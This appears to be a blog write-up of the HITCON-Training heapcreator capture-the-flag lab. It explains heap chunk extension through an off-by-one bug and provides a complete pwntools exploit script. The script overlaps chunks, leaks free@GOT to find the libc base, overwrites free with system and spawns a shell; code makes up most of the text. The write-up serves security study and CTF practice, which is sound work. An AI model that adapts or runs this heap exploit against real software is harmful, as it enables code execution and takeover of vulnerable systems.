Exploiting Heap Overlaps via Chunk Extension with Off-by-One Vulnerabilities

Heap Extension Mechanism

Chunk extension is a common heap exploitation technique that enables chunk overlapping. Successful deployment requires two core prerequisites:

  1. A heap-based vulnerability exists in the target binary
  2. The vulnerability allows manipulation of chunk header metadata

This approach rarely grants direct control over program execution flow, but it provides arbitrary read/write access to overlapping heap regions. If these regions contain sensitive data like function pointers or GOT entries, attackers can leverage them for information leaks and subsequent execution hijacking.


Lab Walkthrough: HITCON-Tarining heapcreator

Binary Overview

The target is a classic menu-driven heap management program with four core operations:

Allocation Operation

Each allocation creates a fixed-size (0x20) header chunk and a user-controlled data chunk. The wrapper function structure simplifies interaction:

def allocate_chunk(user_size, data):
    io.recvuntil(b"Your choice :")
    io.sendline(b"1")
    io.recvuntil(b"Size of Heap : ")
    io.sendline(str(user_size))
    io.recvuntil(b"Content of heap:")
    io.send(data)
Edit Operation

This function contains a critical off-by-one vulnerability: it writes one extra byte beyond the allocated data chunk, which overwrites the least significant byte of the next header chunk's size field.

def modify_chunk(index, payload):
    io.recvuntil(b"Your choice :")
    io.sendline(b"2")
    io.recvuntil(b"Index :")
    io.sendline(str(index))
    io.recvuntil(b"Content of heap : ")
    io.sendline(payload)
Display Operation

Prints the content of a specified data chunk, useful for leaking memory addresses.

def display_chunk(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"3")
    io.recvuntil(b"Index :")
    io.sendline(str(index))
    io.recvuntil(b"Content : ")
Deallocation Operation

Frees both the header chunk and corresponding data chunk for a given index.

def release_chunk(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"4")
    io.recvuntil(b"Index :")
    io.sendline(str(index))

Exploitation Workflow

  1. Initial Allocations: Create two small chunks to set up the heap layout. For clarity, we refer to header chunks as hX and data chunks as dX:
allocate_chunk(0x18, b"x"*8)  # h0, d0
allocate_chunk(0x18, b"y"*8)  # h1, d1
  1. Off-by-One Trigger: Write /bin/sh into d0, pad with junk to fill the data chunk, then overwrite h1's size field to 0x41 using the off-by-one bug. This tricks the allocator into treating h1 and d1 as a single 0x40-byte chunk:
overflow_payload = b"/bin/sh\x00" + b"z"*0x10 + b"\x41"
modify_chunk(0, overflow_payload)
  1. Trigger Overlap-Free: Free the second chunk. Since the allocator now sees h1+d1 as a single 0x40-byte chunk, both are linked into the fastbin:
release_chunk(1)
  1. Reallocate to Swap Roles: Request a 0x30-byte chunk (which requires a 0x40-byte heap chunk). The allocator returns the previously freed h1+d1 region, but now the new header chunk h1_new occupies the old d1, and the new data chunk d1_new occupies the old h1.

    Write a payload to d1_new (old h1) that overwrites h1_new's data pointer to point to the GOT entry of free:

swap_payload = p64(0)*4 + p64(0x30) + p64(elf.got["free"])
allocate_chunk(0x30, swap_payload)
  1. Leak Libc Base: Use the display function on index 1 to read the contents of free@GOT, then calculate the libc base address:
display_chunk(1)
leaked_free = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_free - libc.symbols["free"]
system_addr = libc_base + libc.symbols["system"]
  1. Hijack GOT Entry: Overwrite free@GOT with the address of system using the modify function:
modify_chunk(1, p64(system_addr))
  1. Get Shell: Trigger free(d0) (which now executes system("/bin/sh")) by releasing chunk 0:
release_chunk(0)
io.interactive()

Full Exploit Script

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-v"]

elf = ELF("./heapcreator")
libc = ELF("./libc.so.6")

io = process("./heapcreator")
# Uncomment for remote exploitation
# io = remote("target.host", 12345)

def log_success(label, addr):
    print(f"\033[32m[+] {label}: {hex(addr)}\033[0m")

def allocate_chunk(user_size, data):
    io.recvuntil(b"Your choice :")
    io.sendline(b"1")
    io.recvuntil(b"Size of Heap : ")
    io.sendline(str(user_size))
    io.recvuntil(b"Content of heap:")
    io.send(data)

def modify_chunk(index, payload):
    io.recvuntil(b"Your choice :")
    io.sendline(b"2")
    io.recvuntil(b"Index :")
    io.sendline(str(index))
    io.recvuntil(b"Content of heap : ")
    io.sendline(payload)

def display_chunk(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"3")
    io.recvuntil(b"Index :")
    io.sendline(str(index))
    io.recvuntil(b"Content : ")

def release_chunk(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b"4")
    io.recvuntil(b"Index :")
    io.sendline(str(index))

# Step 1: Initial setup
allocate_chunk(0x18, b"x"*8)
allocate_chunk(0x18, b"y"*8)

# Step 2: Off-by-one to extend chunk size
overflow_payload = b"/bin/sh\x00" + b"z"*0x10 + b"\x41"
modify_chunk(0, overflow_payload)

# Step 3: Free extended chunk
release_chunk(1)

# Step 4: Reallocate to swap header/data roles
swap_payload = p64(0)*4 + p64(0x30) + p64(elf.got["free"])
allocate_chunk(0x30, swap_payload)

# Step 5: Leak libc
display_chunk(1)
leaked_free = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_free - libc.symbols["free"]
system_addr = libc_base + libc.symbols["system"]
log_success("Libc Base", libc_base)
log_success("System Address", system_addr)

# Step 6: Overwrite free@GOT with system
modify_chunk(1, p64(system_addr))

# Step 7: Get shell
release_chunk(0)
io.interactive()

Tags: heap exploitation chunk extension off-by-one GOT hijacking libc leak

Posted on Wed, 13 May 2026 12:47:34 +0000 by jrbissell